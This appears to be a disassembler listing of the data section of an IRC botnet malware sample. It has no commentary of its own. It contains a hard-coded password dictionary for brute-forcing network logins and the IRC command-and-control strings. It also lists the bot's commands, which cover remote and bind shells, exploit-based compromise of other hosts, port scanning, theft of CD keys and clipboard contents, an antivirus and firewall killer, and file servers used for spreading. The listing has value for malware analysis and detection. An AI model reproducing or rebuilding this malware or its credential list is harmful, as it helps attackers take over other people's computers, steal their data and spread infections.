aHp_0 db 'hp',0 ; DATA XREF: .data:00437A04o
align 4
aNokia_0 db 'nokia',0 ; DATA XREF: .data:00437A08o
align 4
aXp_1 db 'xp',0 ; DATA XREF: .data:00437A0Co
align 10h
aControl_0 db 'control',0 ; DATA XREF: .data:00437A10o
aOffice_0 db 'office',0 ; DATA XREF: .data:00437A14o
align 10h
aBlank_0 db 'blank',0 ; DATA XREF: .data:00437A18o
align 4
aWinpass_0 db 'winpass',0 ; DATA XREF: .data:00437A1Co
aMain_0 db 'main',0 ; DATA XREF: .data:00437A20o
align 4
aLan_0 db 'lan',0 ; DATA XREF: .data:00437A24o
aInternet_2 db 'internet',0 ; DATA XREF: .data:00437A28o
align 4
aIntranet_0 db 'intranet',0 ; DATA XREF: .data:00437A2Co
align 4
aStudent_1 db 'student',0 ; DATA XREF: .data:00437A30o
aTeacher_1 db 'teacher',0 ; DATA XREF: .data:00437A34o
aStaff_1 db 'staff',0 ; DATA XREF: .data:00437A38o
align 10h
dd offset byte_4D6511
dd offset aAdministrato_2 ; "administrator"
dd offset aAdministrado_1 ; "administrador"
dd offset aAdministrate_1 ; "administrateur"
dd offset aAdministrat_1 ; "administrat"
dd offset aAdmins_1 ; "admins"
dd offset aAdmin_2 ; "admin"
dd offset aAdm_0 ; "adm"
dd offset aPassword1_0 ; "password1"
dd offset aPassword_0 ; "password"
dd offset aPasswd_0 ; "passwd"
dd offset aPass1234_0 ; "pass1234"
dd offset aPass_1 ; "pass"
dd offset aPwd_0 ; "pwd"
dd offset a007_0 ; "007"
dd offset a1_0 ; "1"
dd offset a12_0 ; "12"
dd offset a123_0 ; "123"
dd offset a1234_0 ; "1234"
dd offset a12345_0 ; "12345"
dd offset a123456_0 ; "123456"
dd offset a1234567_0 ; "1234567"
dd offset a12345678_0 ; "12345678"
dd offset a123456789_0 ; "123456789"
dd offset a1234567890_0 ; "1234567890"
dd offset a2000_0 ; "2000"
dd offset a2001_0 ; "2001"
dd offset a2002_0 ; "2002"
dd offset a2003_1 ; "2003"
dd offset a2004_0 ; "2004"
dd offset aTest_0 ; "test"
dd offset aGuest_2 ; "guest"
dd offset aNone_0 ; "none"
dd offset aDemo_0 ; "demo"
dd offset aUnix_0 ; "unix"
dd offset aLinux_0 ; "linux"
dd offset aChangeme_0 ; "changeme"
dd offset aDefault_1 ; "default"
dd offset aSystem_0 ; "system"
dd offset aServer_6 ; "server"
dd offset aRoot_2 ; "root"
dd offset aNull_2 ; "null"
dd offset aQwerty_0 ; "qwerty"
dd offset aMail_0 ; "mail"
dd offset aOutlook_0 ; "outlook"
dd offset aWeb_0 ; "web"
dd offset aWww_0 ; "www"
dd offset aInternet_1 ; "internet"
dd offset aAccounts_0 ; "accounts"
dd offset aAccounting_0 ; "accounting"
dd offset aHome_0 ; "home"
dd offset aHomeuser_0 ; "homeuser"
dd offset aUser_4 ; "user"
dd offset aOem_0 ; "oem"
dd offset aOemuser_0 ; "oemuser"
dd offset aOeminstall_0 ; "oeminstall"
dd offset aWindows_0 ; "windows"
dd offset aWin98_0 ; "win98"
dd offset aWin2k_0 ; "win2k"
dd offset aWinxp_0 ; "winxp"
dd offset aWinnt_0 ; "winnt"
dd offset aWin2000_0 ; "win2000"
dd offset aQaz_0 ; "qaz"
dd offset aAsd_0 ; "asd"
dd offset aZxc_0 ; "zxc"
dd offset aQwe_0 ; "qwe"
dd offset aBob_1 ; "bob"
dd offset aJen_0 ; "jen"
dd offset aJoe_0 ; "joe"
dd offset aFred_0 ; "fred"
dd offset aBill_0 ; "bill"
dd offset aMike_0 ; "mike"
dd offset aJohn_0 ; "john"
dd offset aPeter_1 ; "peter"
dd offset aLuke_0 ; "luke"
dd offset aSam_0 ; "sam"
dd offset aSue_0 ; "sue"
dd offset aSusan_0 ; "susan"
dd offset aPeter_2 ; "peter"
dd offset aBrian_0 ; "brian"
dd offset aLee_0 ; "lee"
dd offset aNeil_0 ; "neil"
dd offset aIan_0 ; "ian"
dd offset aChris_0 ; "chris"
dd offset aEric_0 ; "eric"
dd offset aGeorge_0 ; "george"
dd offset aKate_0 ; "kate"
dd offset aBob_2 ; "bob"
dd offset aKatie_0 ; "katie"
dd offset aMary_0 ; "mary"
dd offset aLogin_1 ; "login"
dd offset aLoginpass_0 ; "loginpass"
dd offset aTechnical_0 ; "technical"
dd offset aBackup_0 ; "backup"
dd offset aExchange_0 ; "exchange"
dd offset aFuck_0 ; "fuck"
dd offset aBitch_0 ; "bitch"
dd offset aSlut_0 ; "slut"
dd offset aSex_0 ; "sex"
dd offset aGod_0 ; "god"
dd offset aHell_0 ; "hell"
dd offset aHello_0 ; "hello"
dd offset aDomain_0 ; "domain"
dd offset aDomainpass_0 ; "domainpass"
dd offset aDomainpasswo_0 ; "domainpassword"
dd offset aDatabase_1 ; "database"
dd offset aAccess_0 ; "access"
dd offset aDbpass_0 ; "dbpass"
dd offset aDbpassword_0 ; "dbpassword"
dd offset aDatabasepass_0 ; "databasepass"
dd offset aData_0 ; "data"
dd offset aDatabasepass_1 ; "databasepassword"
dd offset aDb1_0 ; "db1"
dd offset aDb2_1 ; "db2"
dd offset aDb1234_0 ; "db1234"
dd offset aSa_1 ; "sa"
dd offset aSql_0 ; "sql"
dd offset aSqlpassoains_0 ; "sqlpassoainstall"
dd offset aOrainstall_0 ; "orainstall"
dd offset aOracle_1 ; "oracle"
dd offset aIbm_0 ; "ibm"
dd offset aCisco_0 ; "cisco"
dd offset aDell_0 ; "dell"
dd offset aCompaq_0 ; "compaq"
dd offset aSiemens_0 ; "siemens"
dd offset aHp_0 ; "hp"
dd offset aNokia_0 ; "nokia"
dd offset aXp_1 ; "xp"
dd offset aControl_0 ; "control"
dd offset aOffice_0 ; "office"
dd offset aBlank_0 ; "blank"
dd offset aWinpass_0 ; "winpass"
dd offset aMain_0 ; "main"
dd offset aLan_0 ; "lan"
dd offset aInternet_2 ; "internet"
dd offset aIntranet_0 ; "intranet"
dd offset aStudent_1 ; "student"
dd offset aTeacher_1 ; "teacher"
dd offset aStaff_1 ; "staff"
align 10h
dword_437A40 dd 10h ; sub_401C87+AF6r ...
dword_437A44 dd 73257325h, 0 dword_437A4C dd 255C7325h, 73hdword_437A54 dd 25207325h, 25222064h, 2273hdword_437A60 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: sub_401404+352o
dd 2E646574h, 0
unk_437A7C db 2Dh ; - ; DATA XREF: sub_401404+38Do
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 10h
unk_437AA0 db 2Dh ; - ; DATA XREF: sub_401404+3DEo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 10h
dword_437AE0 dd 234032Dh, 6E656469h, 2036474haServerRunningO db '- Server running on Port: 113.',0
align 4
dword_437B0C dd 234032Dh, 6E656469h, 2036474haFailedToStartS db '- Failed to start server, error: <%d>.',0
align 10h
unk_437B40 db 2Dh ; - ; DATA XREF: sub_4019A5+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401B0B+35o
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401B0B+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
asc_437B88 db ' :',0 ; DATA XREF: sub_401C87+86o
align 4
asc_437B8C: ; DATA XREF: sub_401C87+AEo
unicode 0, < !>,0
aPing db 'PING',0 ; DATA XREF: sub_401C87+19Do
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1B7o
align 4
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1D8o
align 4
a001 db '001',0 ; DATA XREF: sub_401C87+1F4o
a005 db '005',0 ; DATA XREF: sub_401C87+209o
a302 db '302',0 ; DATA XREF: sub_401C87+21Eo
a@: ; DATA XREF: sub_401C87+22Eo
unicode 0, <@>,0
a433 db '433',0 ; DATA XREF: sub_401C87+260o
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+288o
align 4
aKick db 'KICK',0 ; DATA XREF: sub_401C87+2DDo
align 10h
unk_437BE0 db 2Dh ; - ; DATA XREF: sub_401C87+340o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User %s logged out.',0
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+359o
aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3A3o
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_401C87+3B9o
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401C87+4D9o
align 10h
aPart db 'PART',0 ; DATA XREF: sub_401C87+501o
align 4
aQuit db 'QUIT',0 ; DATA XREF: sub_401C87+512o
align 10h
a353 db '353',0 ; DATA XREF: sub_401C87+550o
unk_437C44 db 2Dh ; - ; DATA XREF: sub_401C87+587o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: %s.',0
unk_437C64 db 2Dh ; - ; DATA XREF: sub_401C87+5AEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User: %s logged out.',0
align 4
aPart_0 db 'PART',0 ; DATA XREF: sub_401C87+5CBo
align 10h
aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5EFo
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401C87+5FAo
aNotice db 'NOTICE',0 ; DATA XREF: sub_401C87+60Bo
align 10h
a332 db '332',0 ; DATA XREF: sub_401C87+61Co
aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_401C87+63Do
aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_401C87+652o
align 4
dword_437CC4 dd 43434401h, 0 aSend_1 db 'SEND',0 ; DATA XREF: sub_401C87+6B5o
align 4
aS_21 db '%s',0 ; DATA XREF: sub_401C87+6E2o
align 4
aS_22 db '%s',0 ; DATA XREF: sub_401C87+6FAo
align 4
unk_437CDC db 2Dh ; - ; DATA XREF: sub_401C87+75Bo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_401C87+7B7o
align 4
asc_437D14: ; DATA XREF: sub_401C87+7DCo
unicode 0, <#>,0
dword_437D18 dd 52455601h, 4E4F4953h, 1dword_437D24 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401C87+88Do
dd 0D017325h, 0Ah
dword_437D40 dd 4E495001h, 47hdword_437D48 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401C87+8C9o
dd 0A0Dh
unk_437D60 db 2Dh ; - ; DATA XREF: sub_401C87+8ECo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0
align 10h
unk_437DA0 db 2Dh ; - ; DATA XREF: sub_401C87+90Ao
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_401C87+927o
align 4
aS db '%s',0 ; DATA XREF: sub_401C87+964o
align 10h
unk_437DF0 db 2Dh ; - ; DATA XREF: sub_401C87+9BEo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
unk_437E10 db 2Dh ; - ; DATA XREF: sub_401C87+A17o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartC db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_437E48 db 2Dh ; - ; DATA XREF: sub_401C87+A3Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_437E78 db 2Dh ; - ; DATA XREF: sub_401C87+A4Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
aLogin db 'login',0 ; DATA XREF: sub_401C87+A71o
asc_437EB2 db 'l',0 ; DATA XREF: sub_401C87+A89o
a332_0 db '332',0 ; DATA XREF: sub_401C87+AABo
asc_437EB8 db ' :',0 ; DATA XREF: sub_401C87:loc_40278Ao
align 4
aD db '$%d-',0 ; DATA XREF: sub_401C87+B67o
align 4
aD_0 db '$%d',0 ; DATA XREF: sub_401C87+C14o
aMe db '$me',0 ; DATA XREF: sub_401C87+C82o
aUser db '$user',0 ; DATA XREF: sub_401C87+C94o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401C87+CA5o
align 4
aRndnick db '$rndnick',0 ; DATA XREF: sub_401C87+CC1o
align 4
aServer db '$server',0 ; DATA XREF: sub_401C87+CD2o
aChr db '$chr(',0 ; DATA XREF: sub_401C87+CDDo
align 4
aChr_0 db '$chr(',0 ; DATA XREF: sub_401C87:loc_40297Ao
asc_437EFE db ')',0 ; DATA XREF: sub_401C87+D1Bo
a63 db '63',0 ; DATA XREF: sub_401C87+D43o
align 4
asc_437F04: ; DATA XREF: sub_401C87+E12o
unicode 0, < >
aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401C87+E61o
aRn db 'rn',0 ; DATA XREF: sub_401C87+E79o
align 4
aDie db 'die',0 ; DATA XREF: sub_401C87+E8Eo
aD_1: ; DATA XREF: sub_401C87+EA3o
unicode 0, <d>,0
aLogout db 'logout',0 ; DATA XREF: sub_401C87+EB8o
align 4
aLo db 'lo',0 ; DATA XREF: sub_401C87+ECDo
align 4
aVersion db 'version',0 ; DATA XREF: sub_401C87+EE2o
aVer db 'ver',0 ; DATA XREF: sub_401C87+EF7o
aDedication db 'dedication',0 ; DATA XREF: sub_401C87+F0Co
align 10h
aDed db 'ded',0 ; DATA XREF: sub_401C87+F21o
aSecure db 'secure',0 ; DATA XREF: sub_401C87+F36o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401C87+F4Bo
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401C87+F60o
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401C87+F75o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401C87+F8Ao
align 10h
aBd db 'bd',0 ; DATA XREF: sub_401C87+F9Fo
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401C87+FB4o
align 4
aServer_2 db 'Server',0 ; DATA XREF: sub_401C87+FCDo
align 4
dword_437F8C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401C87+FF4o
align 4
aServer_3 db 'Server',0 ; DATA XREF: sub_401C87+100Do
align 4
dword_437FB4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03haHttpstop db 'httpstop',0 ; DATA XREF: sub_401C87+101Ao
align 10h
aServer_4 db 'Server',0 ; DATA XREF: sub_401C87+1033o
align 4
dword_437FD8 dd 234032Dh, 70747468h, 2D030264h, 0aLogstop db 'logstop',0 ; DATA XREF: sub_401C87+1040o
aLogList db 'Log list',0 ; DATA XREF: sub_401C87+1059o
align 4
dword_437FFC dd 234032Dh, 2676F6Ch, 2D03haRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401C87+1069o
align 4
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401C87+1082o
align 4
dword_438028 dd 234032Dh, 69646572h, 74636572h, 2D0302hdword_438038 dd 736F6464h, 6F74732Eh, 70hdword_438044 dd 536F4444h, 6F6C6620h, 646Fhdword_438050 dd 234032Dh, 736F6464h, 2D0302haTftpstop db 'tftpstop',0 ; DATA XREF: sub_401C87+10BBo
align 4
aServer_5 db 'Server',0 ; DATA XREF: sub_401C87+10D4o
align 10h
dword_438070 dd 234032Dh, 70746674h, 2D030264h, 0aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401C87+10E4o
align 10h
aFfstop db 'ffstop',0 ; DATA XREF: sub_401C87+10F9o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401C87+110Eo
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401C87+1123o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401C87+1138o
align 4
aClone db 'Clone',0 ; DATA XREF: sub_401C87+1151o
align 10h
dword_4380C0 dd 234032Dh, 6E6F6C63h, 3027365h, 2DhaSecurestop db 'securestop',0 ; DATA XREF: sub_401C87+1161o
align 4
aSecure_1 db 'Secure',0 ; DATA XREF: sub_401C87+117Ao
align 4
dword_4380E4 dd 234032Dh, 75636573h, 3026572h, 2DhaScanstop db 'scanstop',0 ; DATA XREF: sub_401C87+118Ao
align 10h
aScan_2 db 'Scan',0 ; DATA XREF: sub_401C87+11A3o
align 4
dword_438108 dd 234032Dh, 6E616373h, 2D0302haScanstats db 'scanstats',0 ; DATA XREF: sub_401C87+11B3o
align 10h
aStats db 'stats',0 ; DATA XREF: sub_401C87+11C8o
align 4
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401C87+11DDo
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_401C87+11F2o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401C87+1207o
align 4
aCbstats db 'cbstats',0 ; DATA XREF: sub_401C87+121Co
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401C87+1231o
aExplist db 'explist',0 ; DATA XREF: sub_401C87+1246o
aReconnect db 'reconnect',0 ; DATA XREF: sub_401C87+125Bo
aR db 'r',0 ; DATA XREF: sub_401C87+1270o
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401C87+1285o
align 4
aDc db 'dc',0 ; DATA XREF: sub_401C87+129Ao
align 4
aQuit_0 db 'quit',0 ; DATA XREF: sub_401C87+12AFo
align 2
aQ db 'q',0 ; DATA XREF: sub_401C87+12C4o
aStatus db 'status',0 ; DATA XREF: sub_401C87+12D9o
align 4
aS_0: ; DATA XREF: sub_401C87+12EEo
unicode 0, <s>,0
aId db 'id',0 ; DATA XREF: sub_401C87+1303o
align 4
aI: ; DATA XREF: sub_401C87+1318o
unicode 0, <i>,0
aReboot db 'reboot',0 ; DATA XREF: sub_401C87+132Do
align 10h
unk_4381B0 db 2Dh ; - ; DATA XREF: sub_401C87+1344o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 10h
unk_4381D0 db 2Dh ; - ; DATA XREF: sub_401C87+134Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
aThreads db 'threads',0 ; DATA XREF: sub_401C87+137Fo
aT: ; DATA XREF: sub_401C87+1394o
unicode 0, <t>,0
aAliases db 'aliases',0 ; DATA XREF: sub_401C87+13A9o
aAl db 'al',0 ; DATA XREF: sub_401C87+13BEo
align 10h
aLog db 'log',0 ; DATA XREF: sub_401C87+13D3o
aLg db 'lg',0 ; DATA XREF: sub_401C87+13E8o
align 4
aClearlog db 'clearlog',0 ; DATA XREF: sub_401C87+13FDo
align 4
aClg db 'clg',0 ; DATA XREF: sub_401C87+1412o
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401C87+1427o
aNi db 'ni',0 ; DATA XREF: sub_401C87+143Co
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401C87+1451o
aSi db 'si',0 ; DATA XREF: sub_401C87+1466o
align 10h
aRemove db 'remove',0 ; DATA XREF: sub_401C87+147Bo
align 4
aRm db 'rm',0 ; DATA XREF: sub_401C87+1490o
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401C87+14A5o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401C87+14BAo
align 4
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401C87+14CFo
align 4
aKey db 'key',0 ; DATA XREF: sub_401C87+14E4o
aUptime db 'uptime',0 ; DATA XREF: sub_401C87+14F9o
align 10h
aUp db 'up',0 ; DATA XREF: sub_401C87+150Eo
align 4
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401C87+1523o
align 10h
aDrv db 'drv',0 ; DATA XREF: sub_401C87+1538o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401C87+154Do
align 10h
aDll db 'dll',0 ; DATA XREF: sub_401C87+1562o
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401C87+1577o
aOcmd db 'ocmd',0 ; DATA XREF: sub_401C87+158Co
align 4
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401C87+15A1o
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401C87+15BAo
align 4
dword_4382BC dd 234032Dh, 2646D63h, 2D03hdword_4382C8 dd 6F6877h dword_4382CC dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401C87+15E7o
dword_4382E0 dd 706D453Ch, 3E7974hdword_4382E8 dd 202E6425h, 7325hunk_4382F0 db 2Dh ; - ; DATA XREF: sub_401C87+1659o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401C87+1677o
unk_43831C db 2Dh ; - ; DATA XREF: sub_401C87+16F4o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401C87+1750o
aGc db 'gc',0 ; DATA XREF: sub_401C87+1765o
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401C87+177Ao
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401C87+178Fo
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401C87+17A4o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401C87+17B9o
align 10h
aCurrentip db 'currentip',0 ; DATA XREF: sub_401C87+17CEo
align 4
aCip db 'cip',0 ; DATA XREF: sub_401C87+17E3o
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401C87+17F8o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401C87+180Do
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401C87+1822o
align 10h
aTftp db 'tftp',0 ; DATA XREF: sub_401C87+1837o
align 4
aCrash db 'crash',0 ; DATA XREF: sub_401C87+184Co
align 10h
dword_4383C0 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_401C87+1862o
dd 746F6220h, 2Eh
aCrash_0 db 'crash',0 ; DATA XREF: sub_401C87+189Co
align 4
aScan db 'scan',0 ; DATA XREF: sub_401C87+18B2o
align 4
aScan_0 db 'scan',0 ; DATA XREF: sub_401C87+18C3o
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401C87+18D4o
align 10h
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401C87+18EFo
align 8
unk_438428 db 2Dh ; - ; DATA XREF: sub_401C87+1955o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
aRandom db 'Random',0 ; DATA XREF: sub_401C87+1B02o
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_401C87+1B09o
align 10h
unk_438480 db 2Dh ; - ; DATA XREF: sub_401C87+1B34o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
unk_4384EC db 2Dh ; - ; DATA XREF: sub_401C87+1B93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToStar_0 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_438528 db 2Dh ; - ; DATA XREF: sub_401C87:loc_40387Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToStar_1 db '- Failed to start scan, port is invalid.',0
align 10h
unk_438560 db 2Dh ; - ; DATA XREF: sub_401C87+1C08o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunning db ' Already running.',0
align 10h
unk_438580 db 2Dh ; - ; DATA XREF: sub_401C87+1CC3o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStartedO db ' Server started on Port: %d, File: %s.',0
align 4
unk_4385B4 db 2Dh ; - ; DATA XREF: sub_401C87+1D1Co
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStar_2 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_4385F0 db 2Dh ; - ; DATA XREF: sub_401C87+1E38o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListenin db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_43862C db 2Dh ; - ; DATA XREF: sub_401C87+1E91o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStar_3 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_438668 db 2Dh ; - ; DATA XREF: sub_401C87+1F24o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_43868C db 2Dh ; - ; DATA XREF: sub_401C87:loc_403BB2o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_4386B8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_403BB9o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_4386E4 db 2Dh ; - ; DATA XREF: sub_401C87+1F4Eo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_438708 db 2Dh ; - ; DATA XREF: sub_401C87:loc_403BDCo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
dword_438734 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401C87+1F73o
dd 2Dh
dword_43874C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401C87+1FA1o
dd 72616F62h, 2E64h
unk_438768 db 2Dh ; - ; DATA XREF: sub_401C87+1FB7o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
unk_438794 db 2Dh ; - ; DATA XREF: sub_401C87+1FD6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_4387BC db 2Dh ; - ; DATA XREF: sub_401C87:loc_403C67o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
dword_4387DC dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_401C87+206Fo
dd 2E7325h
dword_4387F4 dd 234032Dh, 656B6463h, 3027379haSearchComplete db '- Search completed.',0
unk_438814 db 2Dh ; - ; DATA XREF: sub_401C87+20EAo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_0 db ' Already running.',0
align 4
aFull db 'full',0 ; DATA XREF: sub_401C87+214Co
align 4
dword_43883C dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401C87+216Co
dd 696C2073h, 2E7473h
unk_438858 db 2Dh ; - ; DATA XREF: sub_401C87+21CBo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToStartL db ' Failed to start listing thread, error: <%d>.',0
align 4
